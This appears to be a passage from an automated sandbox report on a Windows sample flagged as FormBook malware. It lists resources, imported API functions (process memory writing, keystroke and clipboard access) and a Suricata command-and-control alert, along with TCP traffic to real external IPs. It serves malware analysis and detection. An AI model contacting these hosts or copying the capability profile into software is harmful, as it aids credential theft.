                                                            RT_ICON0xc94800x568Device independent bitmap graphic, 16 x 32 x 8, image size 0EnglishGreat Britain0.23699421965317918
                                                            RT_ICON0xc99e80x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 0EnglishGreat Britain0.13858921161825727
                                                            RT_ICON0xcbf900x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 0EnglishGreat Britain0.25070356472795496
                                                            RT_ICON0xcd0380x468Device independent bitmap graphic, 16 x 32 x 32, image size 0EnglishGreat Britain0.3173758865248227
                                                            RT_MENU0xcd4a00x50dataEnglishGreat Britain0.9
                                                            RT_STRING0xcd4f00x594dataEnglishGreat Britain0.3333333333333333
                                                            RT_STRING0xcda840x68adataEnglishGreat Britain0.2747909199522103
                                                            RT_STRING0xce1100x490dataEnglishGreat Britain0.3715753424657534
                                                            RT_STRING0xce5a00x5fcdataEnglishGreat Britain0.3087467362924282
                                                            RT_STRING0xceb9c0x65cdataEnglishGreat Britain0.34336609336609336
                                                            RT_STRING0xcf1f80x466dataEnglishGreat Britain0.3605683836589698
                                                            RT_STRING0xcf6600x158Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0EnglishGreat Britain0.502906976744186
                                                            RT_RCDATA0xcf7b80x55541data1.0003318979699862
                                                            RT_GROUP_ICON0x124cfc0x76dataEnglishGreat Britain0.6610169491525424
                                                            RT_GROUP_ICON0x124d740x14dataEnglishGreat Britain1.25
                                                            RT_GROUP_ICON0x124d880x14dataEnglishGreat Britain1.15
                                                            RT_GROUP_ICON0x124d9c0x14dataEnglishGreat Britain1.25
                                                            RT_VERSION0x124db00xdcdataEnglishGreat Britain0.6181818181818182
                                                            RT_MANIFEST0x124e8c0x3efASCII text, with CRLF line terminatorsEnglishGreat Britain0.5074478649453823

                                                            Imports

                                                            DLLImport
                                                            WSOCK32.dllWSACleanup, socket, inet_ntoa, setsockopt, ntohs, recvfrom, ioctlsocket, htons, WSAStartup, __WSAFDIsSet, select, accept, listen, bind, closesocket, WSAGetLastError, recv, sendto, send, inet_addr, gethostbyname, gethostname, connect
                                                            VERSION.dllGetFileVersionInfoW, GetFileVersionInfoSizeW, VerQueryValueW
                                                            WINMM.dlltimeGetTime, waveOutSetVolume, mciSendStringW
                                                            COMCTL32.dllImageList_ReplaceIcon, ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, InitCommonControlsEx, ImageList_Create
                                                            MPR.dllWNetUseConnectionW, WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W
                                                            WININET.dllInternetQueryDataAvailable, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetReadFile, InternetConnectW
                                                            PSAPI.DLLGetProcessMemoryInfo
                                                            IPHLPAPI.DLLIcmpCreateFile, IcmpCloseHandle, IcmpSendEcho
                                                            USERENV.dllDestroyEnvironmentBlock, UnloadUserProfile, CreateEnvironmentBlock, LoadUserProfileW
                                                            UxTheme.dllIsThemeActive
                                                            KERNEL32.dllDuplicateHandle, CreateThread, WaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, SetCurrentDirectoryW, GetLongPathNameW, GetShortPathNameW, DeleteFileW, FindNextFileW, CopyFileExW, MoveFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, GetLocalTime, CompareStringW, GetCurrentProcess, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, GetProcessId, SetPriorityClass, LoadLibraryW, VirtualAlloc, IsDebuggerPresent, GetCurrentDirectoryW, lstrcmpiW, DecodePointer, GetLastError, RaiseException, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, InterlockedDecrement, InterlockedIncrement, GetCurrentThread, CloseHandle, GetFullPathNameW, EncodePointer, ExitProcess, GetModuleHandleExW, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetCommandLineW, IsProcessorFeaturePresent, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetStartupInfoW, GetStringTypeW, SetStdHandle, GetFileType, GetConsoleCP, GetConsoleMode, RtlUnwind, ReadConsoleW, GetTimeZoneInformation, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetEnvironmentStringsW, FreeEnvironmentStringsW, WriteConsoleW, FindClose, SetEnvironmentVariableA
                                                            USER32.dllAdjustWindowRectEx, CopyImage, SetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, SetRect, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, MonitorFromRect, keybd_event, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, MessageBoxW, DefWindowProcW, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, TranslateMessage, PeekMessageW, UnregisterHotKey, CheckMenuRadioItem, CharLowerBuffW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, SystemParametersInfoW, LoadImageW, GetClassNameW
                                                            GDI32.dllStrokePath, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, GetDeviceCaps, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, LineTo, AngleArc, MoveToEx, Ellipse, DeleteDC, GetPixel, CreateDCW, GetStockObject, GetTextFaceW, CreateFontW, SetTextColor, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, StrokeAndFillPath
                                                            COMDLG32.dllGetOpenFileNameW, GetSaveFileNameW
                                                            ADVAPI32.dllGetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, RegCreateKeyExW, FreeSid, GetTokenInformation, GetSecurityDescriptorDacl, GetAclInformation, AddAce, SetSecurityDescriptorDacl, GetUserNameW, InitiateSystemShutdownExW
                                                            SHELL32.dllDragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
                                                            ole32.dllCoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, OleInitialize, OleUninitialize, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoSetProxyBlanket, CoCreateInstanceEx, CoInitializeSecurity
                                                            OLEAUT32.dllLoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, RegisterTypeLib, CreateStdDispatch, DispCallFunc, VariantChangeType, SysStringLen, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, VariantCopy, VariantClear, OleLoadPicture, QueryPathOfRegTypeLib, RegisterTypeLibForUser, UnRegisterTypeLibForUser, UnRegisterTypeLib, CreateDispTypeInfo, SysAllocString, VariantInit

                                                            Possible Origin

                                                            Language of compilation systemCountry where language is spokenMap
                                                            EnglishGreat Britain

                                                            Network Behavior

                                                            Suricata IDS Alerts

                                                            TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                            2024-11-29T15:12:12.811407+01002856318ETPRO MALWARE FormBook CnC Checkin (POST) M41192.168.2.449740134.0.14.15880TCP

                                                            Network Port Distribution

                                                            TCP Packets

                                                            TimestampSource PortDest PortSource IPDest IP
                                                            Nov 29, 2024 15:11:51.071871042 CET4973680192.168.2.4172.67.186.192
                                                            Nov 29, 2024 15:11:51.191951036 CET8049736172.67.186.192192.168.2.4
                                                            Nov 29, 2024 15:11:51.192075014 CET4973680192.168.2.4172.67.186.192
                                                            Nov 29, 2024 15:11:51.201607943 CET4973680192.168.2.4172.67.186.192
                                                            Nov 29, 2024 15:11:51.321641922 CET8049736172.67.186.192192.168.2.4
                                                            Nov 29, 2024 15:11:52.518141031 CET8049736172.67.186.192192.168.2.4
                                                            Nov 29, 2024 15:11:52.519218922 CET8049736172.67.186.192192.168.2.4
                                                            Nov 29, 2024 15:11:52.519263029 CET4973680192.168.2.4172.67.186.192
                                                            Nov 29, 2024 15:11:52.521656036 CET4973680192.168.2.4172.67.186.192
                                                            Nov 29, 2024 15:11:52.641644001 CET8049736172.67.186.192192.168.2.4
                                                            Nov 29, 2024 15:12:08.445028067 CET4973780192.168.2.4134.0.14.158
                                                            Nov 29, 2024 15:12:08.565171957 CET8049737134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:08.565254927 CET4973780192.168.2.4134.0.14.158
                                                            Nov 29, 2024 15:12:08.645925045 CET4973780192.168.2.4134.0.14.158
                                                            Nov 29, 2024 15:12:08.765871048 CET8049737134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:10.155230999 CET4973780192.168.2.4134.0.14.158
                                                            Nov 29, 2024 15:12:10.161659956 CET8049737134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:10.161694050 CET8049737134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:10.161705971 CET8049737134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:10.161798000 CET8049737134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:10.161809921 CET8049737134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:10.161819935 CET8049737134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:10.161840916 CET4973780192.168.2.4134.0.14.158
                                                            Nov 29, 2024 15:12:10.161937952 CET4973780192.168.2.4134.0.14.158
                                                            Nov 29, 2024 15:12:10.161959887 CET8049737134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:10.161972046 CET8049737134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:10.161978006 CET8049737134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:10.161987066 CET8049737134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:10.162035942 CET4973780192.168.2.4134.0.14.158
                                                            Nov 29, 2024 15:12:10.162050009 CET4973780192.168.2.4134.0.14.158
                                                            Nov 29, 2024 15:12:10.162081003 CET4973780192.168.2.4134.0.14.158
                                                            Nov 29, 2024 15:12:11.173816919 CET4974080192.168.2.4134.0.14.158
                                                            Nov 29, 2024 15:12:11.293956041 CET8049740134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:11.294075966 CET4974080192.168.2.4134.0.14.158
                                                            Nov 29, 2024 15:12:11.309338093 CET4974080192.168.2.4134.0.14.158
                                                            Nov 29, 2024 15:12:11.429399014 CET8049740134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:12.811407089 CET4974080192.168.2.4134.0.14.158
                                                            Nov 29, 2024 15:12:12.876895905 CET8049740134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:12.876979113 CET8049740134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:12.876981974 CET4974080192.168.2.4134.0.14.158
                                                            Nov 29, 2024 15:12:12.876991987 CET8049740134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:12.877027035 CET4974080192.168.2.4134.0.14.158
                                                            Nov 29, 2024 15:12:12.877055883 CET4974080192.168.2.4134.0.14.158
                                                            Nov 29, 2024 15:12:12.877095938 CET8049740134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:12.877106905 CET8049740134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:12.877118111 CET8049740134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:12.877124071 CET8049740134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:12.877134085 CET8049740134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:12.877146959 CET4974080192.168.2.4134.0.14.158
                                                            Nov 29, 2024 15:12:12.877182961 CET4974080192.168.2.4134.0.14.158
                                                            Nov 29, 2024 15:12:12.877192020 CET4974080192.168.2.4134.0.14.158
                                                            Nov 29, 2024 15:12:12.877433062 CET8049740134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:12.877443075 CET8049740134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:12.877474070 CET4974080192.168.2.4134.0.14.158
                                                            Nov 29, 2024 15:12:12.877482891 CET4974080192.168.2.4134.0.14.158
                                                            Nov 29, 2024 15:12:12.971613884 CET8049740134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:12.971731901 CET4974080192.168.2.4134.0.14.158
                                                            Nov 29, 2024 15:12:14.040847063 CET4974680192.168.2.4134.0.14.158
                                                            Nov 29, 2024 15:12:14.160799980 CET8049746134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:14.160897017 CET4974680192.168.2.4134.0.14.158
                                                            Nov 29, 2024 15:12:14.373250008 CET4974680192.168.2.4134.0.14.158
                                                            Nov 29, 2024 15:12:14.493451118 CET8049746134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:14.493465900 CET8049746134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:14.493485928 CET8049746134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:14.493494987 CET8049746134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:14.493505955 CET8049746134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:14.493572950 CET8049746134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:14.493580103 CET8049746134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:14.493668079 CET8049746134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:14.493675947 CET8049746134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:15.769757986 CET8049746134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:15.769773960 CET8049746134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:15.769788027 CET8049746134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:15.769838095 CET4974680192.168.2.4134.0.14.158
                                                            Nov 29, 2024 15:12:15.769886971 CET8049746134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:15.769920111 CET4974680192.168.2.4134.0.14.158
                                                            Nov 29, 2024 15:12:15.769927025 CET8049746134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:15.769938946 CET8049746134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:15.769949913 CET8049746134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:15.769962072 CET8049746134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:15.769970894 CET4974680192.168.2.4134.0.14.158
                                                            Nov 29, 2024 15:12:15.769998074 CET4974680192.168.2.4134.0.14.158
                                                            Nov 29, 2024 15:12:15.770348072 CET8049746134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:15.770360947 CET8049746134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:15.770390987 CET4974680192.168.2.4134.0.14.158
                                                            Nov 29, 2024 15:12:15.889775038 CET4974680192.168.2.4134.0.14.158
                                                            Nov 29, 2024 15:12:15.890402079 CET8049746134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:15.890431881 CET8049746134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:15.890470028 CET4974680192.168.2.4134.0.14.158
                                                            Nov 29, 2024 15:12:15.890494108 CET4974680192.168.2.4134.0.14.158
                                                            Nov 29, 2024 15:12:15.972687006 CET8049746134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:15.972718954 CET8049746134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:15.972944021 CET4974680192.168.2.4134.0.14.158
                                                            Nov 29, 2024 15:12:15.976913929 CET8049746134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:15.976965904 CET8049746134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:15.976975918 CET4974680192.168.2.4134.0.14.158
                                                            Nov 29, 2024 15:12:15.977005959 CET4974680192.168.2.4134.0.14.158
                                                            Nov 29, 2024 15:12:15.986785889 CET8049746134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:15.986855984 CET4974680192.168.2.4134.0.14.158
                                                            Nov 29, 2024 15:12:15.986886024 CET8049746134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:15.986936092 CET4974680192.168.2.4134.0.14.158
                                                            Nov 29, 2024 15:12:15.995081902 CET8049746134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:15.995153904 CET4974680192.168.2.4134.0.14.158
                                                            Nov 29, 2024 15:12:15.995261908 CET8049746134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:15.995340109 CET4974680192.168.2.4134.0.14.158
                                                            Nov 29, 2024 15:12:16.003585100 CET8049746134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:16.003597975 CET8049746134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:16.003673077 CET4974680192.168.2.4134.0.14.158
                                                            Nov 29, 2024 15:12:16.011989117 CET8049746134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:16.012056112 CET4974680192.168.2.4134.0.14.158
                                                            Nov 29, 2024 15:12:16.012193918 CET8049746134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:16.012254000 CET4974680192.168.2.4134.0.14.158
                                                            Nov 29, 2024 15:12:16.020421028 CET8049746134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:16.020435095 CET8049746134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:16.020498037 CET4974680192.168.2.4134.0.14.158
                                                            Nov 29, 2024 15:12:16.911760092 CET4975280192.168.2.4134.0.14.158
                                                            Nov 29, 2024 15:12:17.031722069 CET8049752134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:17.031829119 CET4975280192.168.2.4134.0.14.158
                                                            Nov 29, 2024 15:12:17.084341049 CET4975280192.168.2.4134.0.14.158
                                                            Nov 29, 2024 15:12:17.204205990 CET8049752134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:18.636545897 CET8049752134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:18.637824059 CET8049752134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:18.638545036 CET4975280192.168.2.4134.0.14.158
                                                            Nov 29, 2024 15:12:18.639367104 CET4975280192.168.2.4134.0.14.158
                                                            Nov 29, 2024 15:12:18.760806084 CET8049752134.0.14.158192.168.2.4
                                                            Nov 29, 2024 15:12:26.561114073 CET4977780192.168.2.415.204.67.7
                                                            Nov 29, 2024 15:12:26.681116104 CET804977715.204.67.7192.168.2.4
                                                            Nov 29, 2024 15:12:26.681196928 CET4977780192.168.2.415.204.67.7
                                                            Nov 29, 2024 15:12:26.697000027 CET4977780192.168.2.415.204.67.7
                                                            Nov 29, 2024 15:12:26.817007065 CET804977715.204.67.7192.168.2.4
                                                            Nov 29, 2024 15:12:28.130115032 CET804977715.204.67.7192.168.2.4
                                                            Nov 29, 2024 15:12:28.130223989 CET804977715.204.67.7192.168.2.4
                                                            Nov 29, 2024 15:12:28.130280018 CET4977780192.168.2.415.204.67.7
                                                            Nov 29, 2024 15:12:28.202105045 CET4977780192.168.2.415.204.67.7
                                                            Nov 29, 2024 15:12:29.221836090 CET4978380192.168.2.415.204.67.7
                                                            Nov 29, 2024 15:12:29.341897964 CET804978315.204.67.7192.168.2.4
                                                            Nov 29, 2024 15:12:29.342025995 CET4978380192.168.2.415.204.67.7
                                                            Nov 29, 2024 15:12:29.356425047 CET4978380192.168.2.415.204.67.7
                                                            Nov 29, 2024 15:12:29.476490021 CET804978315.204.67.7192.168.2.4
                                                            Nov 29, 2024 15:12:30.719446898 CET804978315.204.67.7192.168.2.4
                                                            Nov 29, 2024 15:12:30.719523907 CET804978315.204.67.7192.168.2.4
                                                            Nov 29, 2024 15:12:30.719572067 CET4978380192.168.2.415.204.67.7
                                                            Nov 29, 2024 15:12:30.858323097 CET4978380192.168.2.415.204.67.7
                                                            Nov 29, 2024 15:12:31.877142906 CET4978880192.168.2.415.204.67.7
                                                            Nov 29, 2024 15:12:31.997175932 CET804978815.204.67.7192.168.2.4
                                                            Nov 29, 2024 15:12:31.997296095 CET4978880192.168.2.415.204.67.7
                                                            Nov 29, 2024 15:12:32.012610912 CET4978880192.168.2.415.204.67.7
                                                            Nov 29, 2024 15:12:32.132746935 CET804978815.204.67.7192.168.2.4
                                                            Nov 29, 2024 15:12:32.132760048 CET804978815.204.67.7192.168.2.4
                                                            Nov 29, 2024 15:12:32.132769108 CET804978815.204.67.7192.168.2.4
                                                            Nov 29, 2024 15:12:32.132792950 CET804978815.204.67.7192.168.2.4
                                                            Nov 29, 2024 15:12:32.132802963 CET804978815.204.67.7192.168.2.4
                                                            Nov 29, 2024 15:12:32.132843971 CET804978815.204.67.7192.168.2.4
                                                            Nov 29, 2024 15:12:32.132865906 CET804978815.204.67.7192.168.2.4
                                                            Nov 29, 2024 15:12:32.132896900 CET804978815.204.67.7192.168.2.4
                                                            Nov 29, 2024 15:12:32.132941008 CET804978815.204.67.7192.168.2.4
                                                            Nov 29, 2024 15:12:33.436283112 CET804978815.204.67.7192.168.2.4
                                                            Nov 29, 2024 15:12:33.436295033 CET804978815.204.67.7192.168.2.4
                                                            Nov 29, 2024 15:12:33.436378002 CET4978880192.168.2.415.204.67.7
                                                            Nov 29, 2024 15:12:33.514743090 CET4978880192.168.2.415.204.67.7
                                                            Nov 29, 2024 15:12:34.533282042 CET4979580192.168.2.415.204.67.7
                                                            Nov 29, 2024 15:12:34.653265953 CET804979515.204.67.7192.168.2.4
                                                            Nov 29, 2024 15:12:34.653378010 CET4979580192.168.2.415.204.67.7
                                                            Nov 29, 2024 15:12:34.662739038 CET4979580192.168.2.415.204.67.7
                                                            Nov 29, 2024 15:12:34.782741070 CET804979515.204.67.7192.168.2.4
                                                            Nov 29, 2024 15:12:36.125531912 CET804979515.204.67.7192.168.2.4
                                                            Nov 29, 2024 15:12:36.125555038 CET804979515.204.67.7192.168.2.4
                                                            Nov 29, 2024 15:12:36.125672102 CET4979580192.168.2.415.204.67.7
                                                            Nov 29, 2024 15:12:36.125689030 CET804979515.204.67.7192.168.2.4
                                                            Nov 29, 2024 15:12:36.125730991 CET4979580192.168.2.415.204.67.7
                                                            Nov 29, 2024 15:12:36.128335953 CET4979580192.168.2.415.204.67.7
                                                            Nov 29, 2024 15:12:36.248230934 CET804979515.204.67.7192.168.2.4
                                                            Nov 29, 2024 15:12:41.664076090 CET4981180192.168.2.4185.27.134.206
                                                            Nov 29, 2024 15:12:41.784044981 CET8049811185.27.134.206192.168.2.4
                                                            Nov 29, 2024 15:12:41.784159899 CET4981180192.168.2.4185.27.134.206
                                                            Nov 29, 2024 15:12:41.799408913 CET4981180192.168.2.4185.27.134.206
                                                            Nov 29, 2024 15:12:41.920011997 CET8049811185.27.134.206192.168.2.4
                                                            Nov 29, 2024 15:12:43.125696898 CET8049811185.27.134.206192.168.2.4
                                                            Nov 29, 2024 15:12:43.125827074 CET8049811185.27.134.206192.168.2.4
                                                            Nov 29, 2024 15:12:43.125907898 CET4981180192.168.2.4185.27.134.206
                                                            Nov 29, 2024 15:12:43.311501980 CET4981180192.168.2.4185.27.134.206
                                                            Nov 29, 2024 15:12:44.330157042 CET4982280192.168.2.4185.27.134.206
                                                            Nov 29, 2024 15:12:44.450226068 CET8049822185.27.134.206192.168.2.4
                                                            Nov 29, 2024 15:12:44.450479984 CET4982280192.168.2.4185.27.134.206
                                                            Nov 29, 2024 15:12:44.465652943 CET4982280192.168.2.4185.27.134.206
                                                            Nov 29, 2024 15:12:44.585581064 CET8049822185.27.134.206192.168.2.4
                                                            Nov 29, 2024 15:12:45.834856987 CET8049822185.27.134.206192.168.2.4
                                                            Nov 29, 2024 15:12:45.834954977 CET8049822185.27.134.206192.168.2.4
                                                            Nov 29, 2024 15:12:45.835005045 CET4982280192.168.2.4185.27.134.206
                                                            Nov 29, 2024 15:12:45.967741013 CET4982280192.168.2.4185.27.134.206
                                                            Nov 29, 2024 15:12:46.986588001 CET4982880192.168.2.4185.27.134.206
                                                            Nov 29, 2024 15:12:47.106571913 CET8049828185.27.134.206192.168.2.4
                                                            Nov 29, 2024 15:12:47.106731892 CET4982880192.168.2.4185.27.134.206
                                                            Nov 29, 2024 15:12:47.121828079 CET4982880192.168.2.4185.27.134.206
                                                            Nov 29, 2024 15:12:47.242127895 CET8049828185.27.134.206192.168.2.4
                                                            Nov 29, 2024 15:12:47.242139101 CET8049828185.27.134.206192.168.2.4
                                                            Nov 29, 2024 15:12:47.242258072 CET8049828185.27.134.206192.168.2.4
                                                            Nov 29, 2024 15:12:47.242300034 CET8049828185.27.134.206192.168.2.4
                                                            Nov 29, 2024 15:12:47.242413998 CET8049828185.27.134.206192.168.2.4
                                                            Nov 29, 2024 15:12:47.242434978 CET8049828185.27.134.206192.168.2.4
                                                            Nov 29, 2024 15:12:47.242539883 CET8049828185.27.134.206192.168.2.4
